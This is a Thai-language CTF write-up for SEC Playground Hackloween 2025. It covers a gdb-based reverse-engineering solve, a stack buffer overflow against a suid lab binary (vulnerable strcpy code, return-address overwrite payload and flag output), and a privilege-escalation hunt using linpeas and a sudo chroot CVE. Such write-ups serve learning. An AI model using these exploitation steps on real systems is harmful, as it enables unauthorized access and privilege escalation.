SEC Playground Hackloween2025 CTF: Rev&Pwn-Pentest Writeup
สวัสดีครับ!
งาน Hackloween 2025 เป็น CTF ธีมหาเรือผีเรื่องความปลอดภัย ที่จัดโดย SEC Playground เพื่อให้ทุกคนได้ทดสอบฝีมือด้าน Cyber Security ทั้ง Reverse, Forensics, Web, Pwn และอื่นๆอย่างสนุกๆ 🎃
ปีที่แล้วผมพลาดที่จะเข้าร่วมงานนี้ไป เพราะฉนั้น
ในวันนี้เราจะมาดูโจทย์ในหัวข้อ Reverse Engineering กับ Pwnable-Pentest กันครับ~
Topic :
- witchtour (Rev)
- Ecnelis Llih F #1 & #2 (Pwn-Pentest)
- wiki2 (Pwn-Pentest)
ไฟล์โจทย์ : https://github.com/XCNXD/CTF-Writeup/tree/main/SEC%20Playground%20Hackloween2025%20CTF/Rev%26Pwn-Pentest
witchtour (Rev)
จากโจทย์ใน Website บอกว่า ให้ใส่ตัวอักษร 0, 1, 2 หรือ 3 ทั้งหมด 576 ตัวอักษร
ถ้างั้นผมขอทดลองก่อนนะครับ
python -c ‘print(“1”*576)’ | ./witchtour
อืมมม 🤔
คิดว่าน่าจะให้วาดอะไรสักอย่างเป็นรูปที่เค้าต้องการ
ถ้าอย่างงั้น เรามาลองอ่านโค้ดของโปรแกรมกันเลยไหมครับ?
โดยโปรแกรมที่ผมใช้แกะ Binary ตัวนี้จะเป็น IDA — Interactive DisAssembler ครับ
จากตัวโค้ดที่ decompile มา เรามาลองทำความเข้าใจ logic ของโปรแกรมกันดีกว่า~
sub_1320จะรับ input เข้ามา0x2000sub_1460ทำหน้าที่แสดงผลค่าที่ใส่เข้าไปputcharsub_14F0จะทำอะไรสักอย่างกับข้อมูล เพื่อนำไปเปรียบเทียบกับ&unk_20c0ครับ- ถ้าสมมุติว่า
&unk_20c0กับs1ตรงกัน ก็จะเรียกใช้sub_1690ด้วยs1
ซึ่งผมเดาว่าอันนี้นี่แหละ ที่จะแสดง flag ออกมาครับ!
ว่ากันตามตรงเลย ผมไม่ได้แก้โจทย์ Reverse Engineering นานมากๆ ตอนนี้ skill หายไปเกือบหมดแล้วครับ 555
แต่ผมสามารถให้ไอเดียได้แบบนี้!
ตามปกติแล้ว ถ้าเงื่อไขด้านบนผ่านก็จะเรียกใช้ sub_1690(s1) โดยที่ s1 เท่ากับ unk_20c0
แสดงว่าเราก็สามารถเรียกใช้ sub_1690(&unk_20c0) ได้เลยไม่ใช่หรอ?
ไม่จำเป็นต้องใส่ input ให้มันไป encrypt/encode
ก็แค่ debug ที่ไหนสักที่นึงแล้วก็เปลี่ยน rip = sub_1690 และ rdi = &unk_20c0
ว่าแล้วก็ลองกันเลยดีกว่า
gdb witchtour
(gdb) break mainอ๊ะ เหมือนว่า main จะไม่อยู่ใน binary นะ
เป็นเพราะว่า Binary ตัวนี้ถูก stripped ไว้ ทำให้มันจะไม่เก็บ symbols Function เอาไว้
รวมถึง pwn cheksec ในตอนแรกก็บอกว่า มี Position Independent Executable หรือ PIE อยู่ด้วย
ทำให้เราไม่สามารถเข้าถึง &unk_20c0 ตรงๆได้
วิธีที่ดีที่สุดก็น่าจะเป็นการเลือก memcmp มาเป็น breakpoint ครับ
เนื่องจากว่ามีการใช้ &unk_20c0 ทำให้ไม่ต้องไป Defeat ASLR อีกด้วย
gdb witchtour
(gdb) break memcmp
(gdb) r <<< $(python -c 'print("0"*576)')
(gdb) info registersจะเห็นว่า rsi จะเก็บว่าอะไรสักอย่างอยู่ ซึ่งมันก็คือ &unk_20c0 ที่มาจาก memcpy(s1, &unk_20c0, ...) นั่นเอง!
จด 0x5555555560c0 เก็บไว้ครับๆ
เหตุผลที่ Argument 1 เป็น
rdiและ Argument 2 เป็นrsiเพราะว่า Calling Convention ของ x86_64 ครับ
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#Calling-Conventions
ตอนนี้เรารันอยู่ที่ memcpy แต่ต้องการจะเปลี่ยนไปรัน sub_1690 แทน
รวมถึงต้องการเปลี่ยน arg2 เป็น arg1 (rdi = rsi) เราสามารถทำได้แบบนี้ครับ
อันดับแรก พิมพ์ finish เพื่อให้กลับไปที่ main
คำนวนเพื่อ bypass Aslr และหาว่า sub_1690 อยู่ที่ไหน0x5555555551c6 — 0x11c6 + 0x1690 = 0x555555555690
Get Natsuiro XCN’s stories in your inbox
Join Medium for free to get updates from this writer.
แล้วก็เปลี่ยน rip ครับ กับ rdi ครับ
(gdb) set $rip = 0x555555555690
(gdb) set $rdi = 0x5555555560c0
(gdb) cประมาณนี้ครับสำหรับข้อ Reverse Engineering
ขออภัยด้วยครับ ที่ทำแบบ static analysis ไม่ได้
สกิลการ Rev ผมมันหายไปนานแล้วจริงๆ 😭
Ecnelis Llih F #1 & #2 (Pwn-Pentest)
- * ข้อ 1, 2 ทำเหมือนกัน แค่เปลี่ยน Address / Function /Architecture ครับ *
- ผมขอยกตัวอย่างเป็นข้อ 2 นะครับ
เราจะได้รับ SSH มา โดยที่ข้างในนั้นจะมีไฟล์ชื่อ hinako ที่เป็น suid อยู่ครับ (ไม่ได้ถ่ายรูปไว้)
ทำการคัดลอกไฟล์จาก ssh ลงเครื่องคอมพิวเตอร์ผ่าน scp แล้วเราก็จะมาแกะ Binary กัน!
โปรแกรมมีการเรียกใช้ newgameplus ด้วย argv ที่เราใส่เข้าไป
อื่ม น่าสนใจ
แล้วข้างใน newgameplus มีอะไรอยู่ไหมนะ
void __cdecl newgameplus(char *input_string)
{
char buffer[16]; // [rsp+10h] [rbp-10h] BYREF
printf("Location : %p\n", buffer);
strcpy(buffer, input_string);
printf("There are your friends, are they: %s\n", buffer);
printf("Happy Ceremony");
}จากโค้ด โปรแกรมมี Buffer Overflow ที่ buffer
เนื่องจากไม่ได้กำหนดขนาดของ argv ที่แน่ชัด
ผมลองดู List ของ Function แล้วเจอตัวนึงที่ชื่อว่า kazuaki
และดูเหมือนว่าจะเป็น Function ที่จะแสดง Flag ออกมา
เท่ากับว่า สิ่งที่เราต้องทำก็คือ สร้าง payload ขึ้นมาเพื่อ Buffer Overflow เปลี่ยน Return Address ไปที่ kazuki (0x4012B6)
แต่ก่อนจะ Craft Payload เรามาดูที่ checsec กันก่อนครับ
โอเค No Canary Found หมายความว่าเราสามารถ Buffer Overflow เพื่อควบคุม Control Flow ได้No PIE หมายความว่า Base Address จะไม่ถูกสุ่มโหลดไปบน Memory (Static)
เราสามารถสร้าง Payload ได้ประมาณนี้ครับ
16 bytes แรกสำหรับ Padding BOF
8 bytes ต่อมาไปทับ rbp
8 bytes สุดท้ายทับ rip ให้ไปเรียกใช้ kazuki (0x4012B6) ครับ
หลังจากนั้นก็สร้างเป็น Command ครับ
echo -e 'aaaaaaaaaaaaaaaaBBBBBBBB\xb6\x12@\x00\x00\x00\x00\x00' > x.txt
./hinako $(cat x.txt) เราไปลองรันกันเลยไหม?
exp@machine-690569bcae14e3f3f258f63d-7351d0c:~$ echo -e 'aaaaaaaaaaaaaaaaBBBBBBBB\xb6\x12@\x00' > x.txt
exp@machine-690569bcae14e3f3f258f63d-7351d0c:~$ sudo ./hinako $(cat x.txt)
-bash: warning: command substitution: ignored null byte in input
[sudo] password for exp:
Game started.
Location : 0x7fffffffe420
There are your friends, are they: aaaaaaaaaaaaaaaaBBBBBBBB�@
Happy Ceremony!!! Congrats!! You got married!!!
The flag is pwnable{3l6GAuV2RQ}สำหรับข้อ Ecnelis Llih F ก็มีเท่านี้ครับผมม
ทั้ง 2 ข้อจะต่างกันแค่ Architecture และ Address เฉยๆครับ
วิธีทำเหมือนกันเลยย
wiki2 (Pwn-Pentest)
* เล่าประสบการณ์นะครับ ไม่มีได้เก็บภาพไว้ 😢*
ว่ากันตามตรงครับ ข้อนี้ผมงมอยู่นานมากกก
หลังจากรัน linpeas ไปผมก็เจอว่า sudo Version นี้มีช่องโหว่ chroot LPE (CVE‑2025‑32463)
หลังจาก Enumueration ไปซักพักนึง เราก็เจอ default password ซ่อนอยู่ในไฟล์ setup.sh อะไรสักอย่างนี่แหละ ซึ่งมันคือ password ของ user uncle
รวมถึง uncle ที่เป็น User ของเรามีสิทธิ์ที่จะ sudo จาก /etc/sudoers ที่บอกไว้ว่า uncle prod=(ALL)
เนี่ย ยังไงมันก็เป็น chroot CVE แน่ๆ
แต่ว่าหลังจากลองรัน sudo
มันก็บอกว่า hostname ไม่ตรง มันไม่ใช่ prod คุณไม่มีสิทธิ์รัน sudo
เอ้า!! 😭😭😭
สุดท้าย ผมไปรัน linpeas แบบ fat และใส่ -a ให้มัน enum ใหม่
หลังจากนั้นนำ input ไปแปะไว้ใน vscode กด CTRL + F ค้นหา pwn
แล้วผมก็บังเอิญเจอ Flag อยู่ใน Env
: ) ? 🙂?
=============================================================
ขอบคุณทีมงาน SEC Playground ที่จัดงาน Hackloween 2025 CTF ให้ได้มาลองของกันอีกรอบ สนุกมากๆ อีกครั้งนะครับบ 🙏🙏
หวังว่า write-up นี้จะช่วยคนที่กำลังศึกษา หรือกำลังตามหาวิธีการแก้โจทย์ได้อย่างดีเยี่ยมนะครับ!
และนี่ก็คือทั้งหมดของ writeup นี้ครับ! ไว้เจอกันครั้งหน้า!
以上です!






![PwnSec CTF 2026 (Zigerions[ Hard Rev])](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*Lfc_hGSPuVEdQop6pSnkAg.png)
